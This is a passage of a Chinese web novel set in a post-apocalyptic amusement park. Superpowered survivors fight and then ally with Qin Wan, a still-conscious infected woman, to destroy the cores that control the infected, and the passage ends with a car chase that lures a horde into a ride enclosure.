伏苓利落地落地,手中软剑紧绷,将那把长刀死死扯住。
星牌生效的声音响起,身后感染者的威胁总算停滞了一二。两人终于有时间看清眼前的场景。
只见一位眼睛蒙着白布的黑衣女子稳稳站在距离程承不到两米的地方,她长发高高竖起,红色的纹路如奇谲的花瓣自眼罩内蔓延而下,直至面中。
即便看不清双眸,她凌厉的下颌线和略显刻薄的唇瓣都能看出她的实力不凡。
女人双手持着一把长达两米的长刀,刀身曲成弯月,顶部镶嵌着青色的龙形装饰。刀柄长而稳,尾部几乎快要触到地面。
而此刻,软若无骨的软剑正死死缠着长刀的刀刃,不让她再进一步。
程承在地上滚了一圈,单膝搁在地上抬头看去,他眉头皱了皱:“这什么,青龙偃月刀?”
这刀的形状的确很像古代的著名冷兵器青龙偃月刀。但他有点想不通,这嘉年华田园、童话、海盗、未来四个区,关二爷应该在哪?
童话?怎么都搭不上边吧!
秦晚微微侧头,轻微的风将她耳侧的发丝卷起,她飞快凭借声音确定了程承的方位,刀身巧妙一转,躲开了软剑的桎梏,角度刁钻地再次攻向程承。
这次程承有了反应时间,动作飞快地就地一滚躲开攻击,红雾聚集在他手心,正要准备攻击之时,就听见身后祝无忧的呼救声:“救救救!我撑不住了哇哇哇!”
红雾撤去,所有感染者的攻击尽数攻向祝无忧,她要护着小水,这么多密集攻击她一个可怜的小辅助根本就抵挡不住。
程承咬牙,红雾微微颤抖,犹豫一瞬后涌向祝无忧。
“去帮忧忧。”伏苓的声音响起,秦晚偏头,手中大刀扫荡出击,刀刃与软剑相撞,发出金属摩擦的嗡鸣。伏苓轻巧地跃起躲过了长刀的横扫,眼中闪过兴奋:“这边交给我。”
程承没有犹豫,虽然这位拿着长刀的女生攻击毫不留情,但程承很容易看出来,这是一个感染者,一个没有异能的感染者。
他并不觉得这人能打过伏苓。
红雾侵虐进感染者中,为他破开进攻的路线。祝无忧两指夹着星牌抛掷出去:“定!”
两人一起,这些感染者便算不上什么威胁,只是略有些麻烦罢了。
祝无忧终于能喘口气,她控诉道:“你干啥了?他们一直要杀你?”
程承抬着头用红雾将感染者团团包围,沉吟了两秒,缓缓道:“我猜,可能是因为车上的那个人偶。”
祝无忧见星牌的效果快失效了,又抛出一张。她歪头疑惑:“人偶?”
程承点点头,目光越过雾气和涌动的感染者,落在与软剑共舞的伏苓身上:“刚刚我就一直在思考,我跟你们到底有什么不同,排除了一些因素后,只剩下我们选择的三辆卡丁车。”
“车子自然是没什么问题,但区别就在于,我的车上还绑着一个人偶。”
祝无忧目光同情地看了一眼程承那辆卡丁车上脑袋垂地似乎已经秃了半个头的人偶,啧啧两声:“造孽啊~”
程承无奈地瞥了她一眼:“这个之后再说,先把感染者解决了去帮伏苓吧。”
不远处,秦晚摆出防御姿态,单手拎着长刀,伏苓速度飞快,身位不断变化,软剑的路线也难以捕捉。
秦晚本就蒙着眼睛看不到外界,只能凭借声音判断位置,而此刻,伏苓与软剑的声音几乎别无二致地出现在她的四面八方,她根本就无从判断。
风声呼啸而来,秦晚下意识横刀身前,软剑擦过刀刃,声音刺耳,强劲的力道让她险些站立不稳。她微微皱了皱眉,勉强稳住身形。
这是什么武器?秦晚神经紧绷,仔细辨认着周围的细碎声音。
她能判断出来,对手拿着的是一个长而软的武器,与刀刃碰撞时会发出金属的声音,那这东西多半带着点金属。她见过的武器无非是那些常见的刀剑,但耳边呼啸而来的攻击明显不是刀剑的攻击方式。
难道是鞭子?
她听着密不透风的攻击声,暗暗下了定论。
多半是了。
“诶!你们谁啊?”后方传来女孩的惊叫和感染者突然暴起的嘶吼声。秦晚极度集中的注意力陡然一松,她突然想到了什么,下意识朝着感染者的方位迈了一步。
破空之声带着嗜血的杀意猛地袭来,秦晚却早已无心念战。她用没有拿刀的那只手徒手拽住了向她袭来的东西,入手却不是鞭子的触感。
这是……
她脑中空白了一瞬,手中握着的分明的刀剑的触感,手心变得黏糊糊的,像是蜂蜜从指缝流出,滴滴答答地落在地上,溅起一片涟漪。
居然是剑?这是什么剑?为什么能刀身如此柔软,刀刃却锋利得可怕?
手心的痛感迟钝地传入大脑中枢,她几乎是下意识想松开刀刃,却再次听到了那个熟悉的声音。
“终于等到机会了,快杀了他们!”刻薄尖锐的男人嗓音传入耳中,秦晚脑中紧绷的弦陡然断裂,她强迫自己忽略钻心的疼痛,再次死死握紧软剑不让它再有动作。
循着声音的来源,她猛地向前跃去,手心划过,在刀刃上留下一连串的血痕,她猛地攥住软剑尾部,长刀扫过,血肉被割开的声音传来。
与此同时,前方传来杀猪般的嚎叫:“啊!”
秦晚单手将长刀横在身前,护住了身后成群的感染者,手中软剑不知何时被伏苓抽走,鲜血止不住地倾泻在跑道上。
她微微侧头,长发扫到前方,挡住了半边眼罩。秦晚薄唇轻启,语气却带着森森寒意:“找死。”
被长刀割破大臂的男子长着一张瘦小的猴脸,眼睛因为疼痛眯成一条缝,他躲在一个壮硕的独臂男人身后,恶狠狠地盯着秦晚:“死女人,今天我们这么多人,看不把你弄死!”
闻言,程承率先护着祝无忧后退一步:“先说好,我们跟你们不熟。”
猴脸男脸色一僵,一脸怒气地质问:“你说什么!你知不知道这人是感染者?不跟我们统一战线,就凭你们几个,等着死吧!”
“行了。”他身前的独臂男眉头始终皱着,看向了程承身后的男孩:“小水,你总认识我们吧?”
小水怯生生地冒出个脑袋:“冯叔,哥哥姐姐们怎么想我也不能控制的。”
“诶,你这死小孩。”猴脸男火冒三丈,要不是手臂受了伤似乎恨不得跳起来:“你别忘了园区内像你们这样的垃圾都是谁在养着!”
对面一片聒噪,秦晚却充耳不闻,她偏头,半边脸对着身后的感染者,声音轻轻:“跑。”
话音刚落,她身后的感染者顿时得了指令,疯狂朝着后方奔去。
程承敏锐地察觉到了秦晚的话,探究的目光落在她的身上。
见感染者都开始往外跑了,猴脸男顿时顾不得眼前的争吵,跳起来指着站在感染者逃跑必经之路上的伏苓大喊:“喂!那个女的,拦住他们!”
秦晚猛地一僵,她居然忘记了身后还有个战力不菲的伏苓。
她顿感不妙,转身就想判断出伏苓的位置,但自从她松开软剑后,身后的女孩就没有发出一丁点声音,她一时半会根本找不到这人的位置。
怎么办?
她额间落下冷汗,虽然只跟伏苓交手了几招,但她很清楚地知道,这人的实力非同小可,感染者虽然多,但若伏苓下死手,他们绝对一个都跑不了。
怎么办,怎么办?
她握着长刀的手死死攥紧,脑中神经紧紧绷着。
只要……只要她一有动作,她一定能判断出伏苓的位置。
但,那把软剑实在是太过奇谲,方才与她交手,秦晚就没有找对伏苓的位置一次,这次又怎么可能找得到?
她心中涌上绝望。
今天,又护不住大家了吗……
而此时,伏苓正看着软剑上未干的血发呆,闻言顿时抬起头,冷冰冰的目光直射猴脸男:“你在跟谁放屁?”
猴脸男:“……”
猴脸男暴跳如雷:“你说什么?!”
秦晚的长刀闻风而动,伏苓轻飘飘地避开刀刃,长腿轻巧一踢,将刀刃踢偏了几分:“没拦他们。”
身侧,是无数感染者疯狂逃跑的声音,如天边流星,一颗一颗穿过他们。
秦晚的心脏不可避免地颤动了两下。
程承敏锐地皱了皱眉。
伏苓抬脚迈步向他们走去,熟练地甩干净软剑上的血迹将其收回,语气漫不经心:“刚刚谁在放屁?”
猴脸男:“……你他妈的。”
独臂男抬起手,制止了猴脸男的行为,他扫了一眼程承和祝无忧,正色道:“你们是刚进嘉年华的吧?”
三人没说话。
他也没在意,朝着他们依次点了点头,道:“叫我冯辉就好。嘉年华的情况,我想小水应该跟你们说了不少,目前我们还幸存的人都聚集在一起,试图毁掉核心,但第一个阻力就是眼前的感染者。”
伏苓不紧不慢地走到程承旁边,程承低声问:“受伤没?”
伏苓摇摇头。
看见他们这副满不在乎的模样,猴脸男顿时气急:“冯叔跟你们说话能不能认真听?”
“你们仨——”他上下扫了两眼,一眼鄙夷:“一个小白脸,两个女的,甚至还有一个是无能力者,就这配置还好意思跟我们狂?”
伏苓哼笑了一声,满身不屑。
“你!”猴脸男顿时感觉被冒犯了,大臂上的伤口都不管了就想冲上来跟他们理论。
冯辉摇了摇头制止了他:“算了,小孙。”
“这位是孙亿”他抬手介绍了一下又指了指站在他们身后了几个人:“这些都是我们的伙伴。”
他顿了顿,继续道:“你们突然进入嘉年华,必然是有事要做,我猜,是不是跟核心相关?”
程承礼貌笑笑:“确实。”
冯时也跟着笑起来,他长得粗犷,笑起来也豪气:“既是核心,我们的目标则是一致的,为什么要站在对立面呢?”
祝无忧扒拉着伏苓的肩膀,冒出脑袋控诉:“我们也没说要站在你们的对立面啊,只是说我们不是一伙的,这个小候就破防一直骂我们!”
孙亿咬牙切齿:“老子姓孙。”
祝无忧木木“哦”了一声,缓缓将脑袋缩了回去。
伏苓偏了偏头,笑了一下。
“总之,我们可以合作。”冯辉轻咳一声,抬起手指着单枪匹马站在不远处秦晚:“她,就是我们第一个敌人。”
秦晚站在追捕逃走的感染者的必经之路上,拎着长刀的手微微收紧。
伏苓回头,卡丁车跑道穿过城堡的内部,左边,一座宏伟的旋转楼梯徐徐铺展开,大理石的台阶在头顶吊灯的照明下反射着灯光,墙壁上是很有西方童话特色的巨型浮雕,显得格外庄严华美。
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右侧则是巨大的客厅——如果城堡的客厅能被称之为客厅的话,客厅中央还摆放着复古华丽的沙发,再往前则是一整面的阳台,外面的雨密密麻麻地落下。
伏苓突然就累了,她抬抬下巴:“坐着说呗。”
看他们的架势,嘉年华内部的恩怨恐怕几星期都说不完。
冯辉:“也行。但在此之前,是不是应该……”
他的目光频频瞥向秦晚,一幅这次不杀她不罢休的模样。
“也对。”伏苓点点头,她漫不经心地看向秦晚:“诶,要一起吗?”
秦晚:?
冯辉:?
-
五分钟后。
几波人浑身僵硬地坐在了城内里的沙发上。猴脸男——哦不对,孙亿死死盯着如雕塑般坐在单人沙发上的秦晚,出声骂道:“凭什么我们要听一个无能力者的废话?我们可是异能者!”
伏苓满不在乎地将手肘抵在扶手上,托着腮挑眉看他,语气毫无起伏:“好厉害啊。”
孙亿被她看得浑身鸡皮疙瘩,但又忍不住装逼:“那当然了,你应该没用过异能吧?这异能者和无能力者的差距可不是一点两点。”
冯辉面色复杂地看了一眼孙亿,出声阻止:“行了。”
他可没漏掉当时伏苓和秦晚的打斗,秦晚都那么难搞定,那这个能压她一头的伏苓又能弱到哪去?
也就孙亿这个二愣子还真以为人家打不过他呢。
程承靠在沙发上:“说正事吧,毁掉核心的阻碍是感染者,这句话是什么意思?”
冯辉瞥了一眼秦晚,声音罕见地带上了咬牙切齿:“嘉年华内感染者上千,几乎都以这个女人为首,一旦我们要靠近核心,他们就回来围堵我们。这还不算是阻碍吗?”
他拍了拍自己空空荡荡的袖套:“我这只手就是她砍掉的。”
秦晚冷声道:“你活该。”
“你!”冯辉顿时也有些怒了,他死死捏着拳头压下了脾气。
伏苓侧头,好奇道:“为什么拦他们?”
孙亿嗤笑:“还能为什么?这些感染者就是见不得我们还活着,想拉我们下水!要我说,在这谈有什么屁用,不如直接把这些感染者都杀了!”
一旁的人也开始符合,字字泣血。
“我们多少弟兄都死在他们手下!跟这些感染者同在一个地方呼吸我都觉得恶心。”
“之前起码还有五六十个人活着,如今你们看看,只剩下我们几个了啊!”
“杀了她!我与感染者不共戴天!”
众人情绪激动,目光中是嗜血的杀意,祝无忧有些害怕地搂紧了同样被吓得缩成一团的小水。
群情激愤之下,伏苓一言不发,认真地看着秦晚被白布蒙得死死的双眸。
说起来,秦晚在变成感染者之前一定是个很漂亮的女生,即便看不清她的双眸,也能从她白皙的肤色和漂亮的下半张脸窥见她曾经的艳丽。
秦晚沉默了片刻,似是感受到了伏苓的视线,她朝着伏苓“看”过来,她应是许久没有说胡,语速又慢又缓:“因为他们要杀我们,所以我不得不反抗。”
城堡内突然安静了一瞬。
伏苓长长地“哦”了一声,突然问道:“你知道要毁掉核心吗?”
秦晚点头:“当然,甚至,我也想毁掉核心。”
冯辉愣了片刻,闻言发问道:“那你为什么拦我们?”
秦晚没有看他,而是认真对伏苓道:“嘉年华内有两个核心,每一个的周围都有成千上万的感染者,而那些感染者……我无法跟他们交流。”
她顿了顿,又继续道:“我不想伤害他们,但又没办法越过他们去毁掉核心。而他们——”
秦晚指了指冯辉一行人,声音轻轻:“他们去过海盗堡里的核心,在那里,他们残忍杀害了无数人,却连核心都没摸到。”
或许是因为她也是感染者,又或许是因为她身为感染者还能保持自我意识,秦晚潜意识里将感染者划分为自己人,她认为他们并没有死,只是意识暂时被屏蔽,所以才会表现出如同野兽一般的模样。
也可能,只是她一厢情愿地认为自己也还能恢复原样。
不管是因为什么,反正,她不愿意去杀害感染者,更不愿意别人去杀害他们,在她眼里,这些人同样是一条鲜活的生命。
说到最后,她的语气变得狠戾,带着浓浓的厌恶:“一群傻逼,踩着那么多人命上去,却一点进展都没有,我不杀他们杀谁?”
“你他妈——”孙亿顿时暴起,他一下跳到沙发上,指着秦晚开喷:“你又算什么东西?你知道那里面多少感染者吗?你知道核心在哪里吗?我们能闯进去已经很不容易了,你连进都进不去,有什么资格骂我们?”
秦晚字字清晰:“我进不去是因为我不愿意踩着他们的命进去,而你们,没有底线更没有实力,不是傻逼是什么?”
程承了解了事情大概,立马开始劝架:“冷静冷静。”
怪不得后来秦晚一直阻碍他们,多半是因为她认为这些人进去也没用,还要残杀感染者。再加上两拨人见面了也不屑多说,估计根本没说过几句话,也就酿成了今天的局面。
他抓住关键,询问:“这位——”
他顿了一下,秦晚立马懂了他的意思,客气道:“秦晚。”
程承点点头:“秦晚小姐,你刚刚说,嘉年华有两个核心?”
“我身为感染者,自然比你们对嘉年华更了解一些,明处的核心位置在海盗堡内的激流勇进上,暗处的核心则在未来城内的科幻过山车上。”秦晚说。
那想必当时冯辉他们试图毁掉的就是海盗堡的那颗核心了。
程承谨慎求问:“那你是怎么知道,明处的那颗核心并不是完整的?”
秦晚顿了顿:“因为只有在核心周围的感染者我无法交流。”
程承明白了,他礼貌道谢,又转向冯辉:“冯叔?”
“诶诶!”冯辉不知在想些什么,听到他这句话陡然回神。
伏苓看着他,突然问道:“在想什么?”
冯辉愣了一瞬,他苦笑:“没什么,就是觉得……挺悲哀的。”
这个世道,实在太多悲哀了。
他很快又振作起来,对程承道:“小伙子,你说。”
程承看了一眼伏苓,问:“当时你们在激流勇进内进展如何?能确定核心所在吗?”
秦晚哼了一声,觉得可笑:“就凭他们?”
孙亿立马回呛:“怎么了?总比你强。”
冯辉无心再去管两人火药味十足的争吵,而是思索道:“那里面感染者太多,我们一行人进去,只确定了核心不在设备外面。”
激流勇进是海盗区的一个大项目,设备旁边是一个几层的海盗庄园,庄园内有两个篮球场大小的花园,楼房也有三层,最高的那层连接着激流勇进的检票口——这便是激流勇进项目的排队区。
当时冯辉他们进入被感染者层层包围的排队区就已经死了好几个人了,最后也只是堪堪扫荡完排队区,人手就不足以支撑他们继续卡前进,只好艰难退出区域。
程承陷入沉思。
秦晚毫不客气道:“还好意思说?杀了那么多人就排除了排队区?”
孙亿:“人?感染者是人吗?你们怎么称得上是人!”
秦晚陡然安静了下来。
她……也不知道自己此刻到底还算不算人。
伏苓皱了皱眉:“她还有意识,有自己的思想,怎么不算是人?”
孙亿冷笑:“是吗,那剩下的那些呢?剩下的那些感染者他们有意识吗?他们算人吗?”
一直没说话的祝无忧突然开口:“算,我相信他们,他们总有一天会恢复意识的。”
真是异想天开,孙亿心中满是嘲讽。
八年来,没有一个感染者能恢复意识,这群人谈什么“总有一天”?
伏苓靠在椅背上,道:“雨停了。”
外面的雨声消失不见,取而代之的是灰色的阳光铺满大地。但即便这层灰色笼罩着整个游乐园,众人也都能看出来,短期之内,应该不会再下雨了。
程承轻轻拍了拍手:“既然如此,我们可以合作。”
他顿了顿,强调:“我们三方,可以合作。”
灰蒙蒙的天,灰蒙蒙的地,吹过的微风都好像是灰蒙蒙的。伏苓又坐上了她的小小卡丁车,程承也跟着挤了进来,坐在她的副驾上。
伏苓:“……?”
她回头看了眼程承的车,秦晚站在车前,将挂在车外的人偶小心地放回了驾驶位。她又转了回来,语气硬邦邦的:“你自己没车吗?”
程承笑眼弯弯,压低声音道:“那个人偶明显就是秦晚放的,我哪好意思给人家解了?”
似乎是怕自己声音低了伏苓听不清,程承凑得很近,近到两人呼吸都缠绕在一起,她缓缓眨眼,看到了程承脸上细小的绒毛。
很可爱。
她笑了笑,靠在椅背上:“所以那些感染者追你是因为那个人偶吗?”
程承去牵她放在中间的手,指腹轻柔地摩挲着她的手心,如同耳鬓厮磨:“多半是了,所以那车我现在哪敢开啊,要是他们又来追我怎么办?”
伏苓勾唇:“这话说的好像你打不过一样。”
程承眉眼温柔,将她的手拉到唇边轻轻一吻:“打不过,你要保护我啊,我可是小白脸。”
他最后三个字故意咬得很重,伏苓偏头笑了一下,知道他这是还在记恨方才孙亿喊他小白脸,但这番情形说出来,这三个字又莫名有了些别的风味。
祝无忧从车前经过,看向两人的眼神带着“又卿卿我我”的嫌弃。
“那个,刚刚那事——”秦晚的声音由远及近,程承又规规矩矩地坐好,伏苓好笑地看了他一眼。
秦晚在伏苓那侧停下脚步,弯下腰道:“这些人偶是我做来纪念那些变成感染者的人的,所以他们把人偶看成自己的伙伴,可能会觉得你在伤害他们。”
程承大度地点点头,道:“没关系,确实是我不对。”
伏苓挑了挑眉。
程承一顿。
如果他没记错的话,伏苓似乎是直接给那两人偶砍成四瓣了啊。
程承顿时有些为难地摁了摁太阳穴。
不知道一会到检票口这位秦晚小姐会不会想揍他们。
67. 废弃游乐场04
秦晚不知道两人为什么突然沉默了,直起身道:“你们开车快一点,可以先走,在检票口等我们就行,我让他们离开。”
程承讷讷应了一声,指尖轻点伏苓的手心示意她快跑,伏苓勾了勾唇,转头朝秦晚点点头,一脚油门踩了下去,卡丁车便如离弦之箭冲了出去,留下一地的嗡鸣。
秦晚看着他们的背影,目光如深海般,注视着伏苓飞扬的发梢。似乎是觉得接下来也没什么穿黑袍子的必要了,她那件黑袍半挂不挂地滑到肩膀下方。
满是灰色的世界,只有她身后狂舞的彩色发丝绚丽得令人挪不开眼。
“切。”一道刻薄的声音从秦晚身后传来,孙亿满脸不屑地看着远去的几人,声音嘲讽:“他们仨要是能回调核心,我把名字倒过来写!”
他拍拍旁人的肩膀,指着伏苓的背影:“你看你看,一个无能力者,狂什么啊。”
身侧传来卡丁车的嗡鸣,祝无忧幽幽从他身侧开过,表情一言难尽。
她唇瓣翕动两下,似乎是想说什么,但还是闭上了嘴,默默去追伏苓。
孙亿被人听见自己背后说人坏话本还有些心虚,见状顿时一脸疑惑:“不是,她什么表情?”
冯辉实在是看不下去了,他拍掉孙亿的手,劝道:“别说了,这三人肯定不是好惹的,你还是少挑衅他们。”
孙亿冷哼一声,死不悔改:“就他们?我不信。”
冯辉:……这孩子没救了。
秦晚笑了一声:“傻逼。”
孙亿猛地跳起来:“你说什么!”
冯辉拉住他,突然说:“小丁好像不能坐卡丁车。”
被唤作小丁的男人微微一愣,“啊”了一声。
秦晚皱着眉看过去,不明白冯辉为什么说这个。
孙亿木着脸:“我知道你要说什么但是你先别说了。”
冯辉微笑:“因为卡丁车。”
秦晚:“??”
秦晚:“……哦。”
她转身就走。
妈的这群人有病吧?
不远处的前方,祝无忧追上了慢悠悠行驶的伏苓,看了眼身后道:“他们说我们仨不行。”
程承笑眯眯道:“没事没事,人总有看走眼的时候。”
伏苓抬起下巴附和:“确实。”
祝无忧皱着脸:“你们俩怎么自信起来了?”
她注意力分散,方向盘没把稳,险些撞上伏苓的车。祝无忧赶紧将卡丁车回正,又转头问道:“诶我突然想起来,之前在偷看我们的那个黑衣人是不是秦晚啊?”
程承点点头:“多半是了,寻常人估计也不会莫名跑去门口还躲着我们。”
“之后问问她跟着我们干什么。”伏苓道。
“唔,还有一个事……”祝无忧纠结了两秒,犹犹豫豫地问道:“你们有没有觉得,我们的异能好像……嗯,就是……”
她一张脸都皱了起来,似乎是不知道该怎么说。
伏苓看向她,有些不解。她没有异能,自然不清楚异能的微小变化。
“跟身体融合了。”程承垂着眸,突然开口:“是吗?”
“对!”祝无忧立马附和,她紧张兮兮地看着程承:“你也是吗?”
程承点点头,他侧过头跟伏苓解释:“原先异能虽然看似存在于我们的身体之内,但实际上我们都能清楚地感受到,异能与身体是分开的两个独立的个体,就像软剑和你的身体一样的关系,只不过一个存在于实体,一个则虚虚实实藏于体内,但本质上是一样的,都是一种独立的武器。”
他解释得很详细,伏苓懂了:“那现在呢?”
祝无忧插嘴道:“现在感觉我的异能已经融入了我的身体,它好像已经跟我融为一体了!”
程承摁了摁眉心:“这么说可能有点抽象,但事实情况确实如此。你还记不记得之前我们在荥城提到过,自己的异能好像变强了一些,但现在看来,似乎并不是异能增强,而是异能融合导致我们对异能的掌握力更强,所以才会有异能变强的错觉。”
伏苓一条胳膊搭在车门上,单手将方向盘转了一圈,开过了弯道:“所以,这种融合是因为我们更靠近肃州,还是大家都在融合,只是我们融合的速度更快?”
程承:“多半是后者。我并不觉得异能的变化会只发生在我们身上。”
三人很快到了检票口,程承跳下车,飞快地将散落在地上的四瓣人偶拼起来分别塞在另两辆车上。
伏苓好笑地看他:“应该没事吧,秦晚看上去不是那么小气的人。”
程承一边念叨着“确实确实”,一边将人偶放得整整齐齐,他走过来俯身与伏苓平视,笑眼弯弯:“但是要给人遗容遗表整理好。”
他颇有些黏黏糊糊地用鼻尖蹭了蹭伏苓的脸颊,明明在说正事,看上去却好似在说腻歪的情话:“总不能就让他们八爪朝天地见人吧?”
伏苓赞同地点点头,戳戳程承的唇瓣:“爱卿有心了。”
一旁的栏杆上,祝无忧给她和小水抽了张隐形牌,她懒懒挂在栏杆上看着地下密密麻麻的感染者,长叹一声:“天呐!来个人治治这对小情侣吧?”
她满脸不解:“在丰镐是发生了什么我不知道的事情吗?他们俩怎么感觉都快滚到一张床上去了?!”
小水好奇道:“什么叫感觉都快滚到一张床上去了?”
祝无忧顿时噤声,她突然觉得自己这样带坏小朋友实在是误人子弟,便微笑:“你听错了,我什么都没说。”
小水乖乖“哦”了一声,小声道:“所以这句话也是小水不能听的机密吗?”
祝无忧:“……你要是这么理解,好像也不是不行。”
小水点头:“好的,那我还是不打听了吧。”
祝无忧欣慰地笑了,如同一个历尽沧桑的老母亲。
她叹道:“芳龄二八,带娃经验二十八——”
她突然一顿,看着下方眼睛缓缓睁大,嘴巴微微张开。
两秒后,她转头大喊:“伏苓!!!”
伏苓立马与程承一同来到栏杆处。
只见下方原本乖乖站在原地乱晃的感染者突然暴动,开始堆叠着往上爬。祝无忧飞快扔了个屏障牌下去,但这一次的感染者明显与先前不同,一个接一个猛烈地冲撞着屏障,一副不杀了他们不罢休的模样。
感染者怎么会突然暴动?
伏苓立马转头,恰好看到秦晚从跑道的拐角出来,她拉高音量:“感染者不受控制了?”
秦晚一顿,飞快赶到栏杆处:“不可能,我没有发布任何指令。”
她侧耳听了几瞬,脸色突然一变:“恐怕是那颗核心。”
金城那颗拥有自我意识的核心能操控感染者,一般来说,秦晚控制不了的感染者多半是因为被核心控制了。
但如果是那样的话,可就太糟糕了。
放眼望去,下方的感染者有上百个,若是真要杀出去,他们几人必然元气大伤,摧毁核心的力量就会弱很多。
再者,如非必要,秦晚也不愿意伤害这些感染者。
祝无忧急道:“屏障撑不了多久!”
话音刚落,屏障破碎的声音就在下方响起,感染者顺着楼梯一个接一个地挤上来,祝无忧的脸色唰得一下白了。
这下完了!
孙亿他们也赶到了这边,他看着蜂拥而上的感染者,涨红了脖子朝秦晚喊道:“我他妈就说不能相信这个女人!她就是想拉我们一起死!”
他又转向伏苓,指着她的鼻子骂:“你还说要我们合作?睁大你的狗眼看看这女人到底是什么东西,还合作,不背后捅你一刀就不错了!”
伏苓盯着他,危险地眯了眯眼睛。
红雾在瞬间撞向他的手腕,将孙亿的手打开。程承冷冷看他一眼,低头悄声跟伏苓道:“估计要有一场恶战,我们先不要内讧损坏战力。”
伏苓冷笑了一声,没说话。
秦晚白了孙亿一眼:“傻逼闭嘴,这些感染者不是我控制的。”
孙亿还没来得及骂程承,闻言又不依不饶:“是不是你控制的还不是你一句话的事?你说是核心控制的就是核心控制的?谁知道会不会是你暗中操作!”
冯辉打断他:“行了,先迎战!”
“迎什么战!”孙亿甩开冯辉,“只要杀了罪魁祸首,我们根本不需要对抗这么多感染者!”
说着,他猛地操起武器朝着秦晚袭去。
砰——
混乱中,远处传来连续不断的撞击声。
所有人下意识看向声源处,就连底下疯狂上爬的感染者也顿在原地,看向远处。
童话镇与田园区的接壤密林之中,一辆黑色的越野车在里面横冲直撞,所过之处,所有树木应声倒地。
而在它的身后,是被拉开数十米的感染者群,像上窜下跳的猴子越过七歪八倒的高大云杉,数量之多令人胆战心惊。
越野车的速度在层层密林下也丝毫不减,骇人的嗡鸣从远方顺着风传到他们耳边。
下方的感染者缓缓朝着越野车走了两步,然后饿虎扑食一般疯狂朝着那边奔去。
与此同时,伏苓耳侧的GE“滴滴”闪了两下,里面陡然传来林随遇吊儿郎当的声音:“0101,我是007,请求归队。”
伏苓笑了笑,仿佛对这一场景早有预料,她轻声道:“欢迎回来,007。”
祝无忧抱着伏苓的胳膊兴奋大喊:“我终于不是电灯泡了!”
伏苓:“……”
程承:“……关注点还怪清奇。”
只是相比于她们两人的轻松,程承却是想到了另一层。
用了那瓶药水之后,他们两人真的还是一同前往危机四伏的肃州吗?
他眸中不免染上了些许忧色。
“那是……”冯辉的语气中带着疑惑和震惊。他复杂地看了眼远处横冲直撞的越野车,又看了看明显与来者认识的伏苓一行人,发出灵魂拷问:“你们行事作风都这么嚣张的?”
程承撑着栏杆,飞速估计着感染者的数量:“有没有什么地方能让越野车引着这些感染者进去?最好是大一点的。”
冯辉沉吟片刻:“后面的酒店或许符合你的要求,但应该溜不了感染者。”
伏苓手肘撑着栏杆托着腮,随手点了点靠近田园区的一处设施:“那是什么?”
冯辉顺着她指的方向看过去。
那里是一个蒸汽设施,名字似乎叫什么什么月亮号,类似于小火车的这种,外侧用高高的栏杆拦得严严实实,里面的面积也很大。
他一拍手:“对,可以把感染者引到月亮号里面。”
伏苓敲了两下GE,林随遇随即问了一句:“怎么了?”
她偏头让GE确定月亮号的位置:“看到发给你的位置了吗?把感染者引过去。”
林随遇安静了两秒,GE内传来林随安点击车内屏幕的声音,然后轻声说了句:“好了。”
伏苓低眉瞥了眼下方缓缓离开向后方酒店走去的感染者:“我们在那接应你们。”
几人立马赶到了月亮号的大门外。
门不算高大,程承估计着也就两米多高,不到三米。下方砌得两排通道,一条排队,一条是出口,道路两侧竖着几排木制栅栏。
冯辉帮忙把缠着假花的木门拉开,有些担忧:“这门……车应该进不去吧?”
不知道林随遇是不是通过伏苓的GE听到了这句话,他笑了一声。
越野车的声音由远及近,几人退到一边的糖果屋后,紧张兮兮地看着疾驰而来的越野车,和它身后几近疯狂的感染者。
祝无忧熟练地洗牌抽牌,将一张她精心挑选的星牌抛掷到即将路过他们的越野车上,林随遇还有闲心摇下车窗,笑嘻嘻地打了个招呼后疑惑地在GE里发问:“忧忧给我们整了个什么buff?加速还是防御?”
他话音未落,越野车腾空而起,如状态全开的安第斯神鹫张开遮天蔽日的巨翅,从月亮号大门的上方越了过去,扬起的灰尘飘扬在空中。
与此同时,车外响起了激荡的DJ乐曲。
“一万个舍不得,我是永远爱你的!”
林随遇:“……?”
那一瞬间,他仿佛置身DJ酒吧,无数灯光闪烁,令他血脉喷张几乎下一秒就要开始蹦迪。
但显然此刻他不能。
身后的感染者群如过境蝗虫从大门下方争先恐后地挤进来。林随遇瞬间回神,咬牙切齿:“祝无忧!”
祝无忧嘿嘿傻笑:“你不觉得这样更有氛围感吗?”
月亮号面积很大,中间是一个很有童心的月亮城堡,几乎将前后视野挡得严严实实,但也正是因此,这里是最适合甩开感染者的地方。
林随遇一个急转弯从月亮城堡一侧拐了过去,巨大的车身很快被城堡遮挡,感染者不假思索地追着消失的方向冲了过去。等到最后一个感染者也拐弯进了那个角落,越野车已经加快马力从另一侧冲出来了。
——带着销魂的音乐声。
冯辉赶紧上前,与程承一左一右地抓住了两侧的大门,准备等越野车一出来就关门。却没想越野车再次腾空而起越过大门,两人沉默一瞬,心平气和地关上了门。
直到两人用脱下来的黑袍死死捆住了大门,感染者才迷迷糊糊地从另一侧跟了过来。
两人对视一眼,松了口气。
林随遇下了车,被车门一绊,险些摔了一跤,他挠挠头站直身体,瞪着到处乱窜的祝无忧:“你跑什么?我以为你也觉得自己做得很棒呢?”
祝无忧躲到伏苓身后:“就是很棒啊,怎么了嘛,纯溜感染者不干巴吗?我帮你配bgm啊。”
她看到从副驾上下来的林随安,又哒哒哒跑过去抱住她:“随安你终于醒了呜呜呜。”
林随安笑着揉揉她毛茸茸的脑袋:“没事啦。不过说来也怪——”
她眼中露出一丝不解:“哥哥说,你们的飞机一离地我就突然醒过来了,这也太巧了……”
闻言,程承皱了皱眉意思到一点不对劲:“你睡着的时候有没有什么……”
他似乎是不知道该怎么说,卡了两秒。
“梦境?”林随遇抱着臂,眸子也变得严肃起来:“随安跟我说过,昏迷的时候被红线困住了。”
“红线?”程承眉头皱得更深了,他突然有些不解。
按照他的猜测,这场末世很可能与血兔有点关系,他听到林随安在他们离开后立马醒来的瞬间就意识到,这或许跟他——或者说,血兔的存在有关。
但如果是这样的话,困住林随安步伐的应该是与血兔有关的因素,比如红雾之类的,但却是红线?
他手指无意识地痉挛两下,陡然意识到他所猜测的事情恐怕只是真相中的沧海一粟,除了这只血兔以外,肃州还隐藏着更为浩大的阴谋。
程承呼吸带了点颤抖。
似乎,前方的路越来越令人恐惧了。
倏地,他冰凉的指尖被另一只手握住,程承微微愣神,侧头看到了伏苓的侧颜,她仿佛什么都没看到一般,只是没什么表情地紧紧握住了他的手。
紧紧相交的手指生理性地充血,但却意外地让程承的手指恢复了正常的温度。
他垂下眸子,眼中闪过一丝不易察觉的眷念。
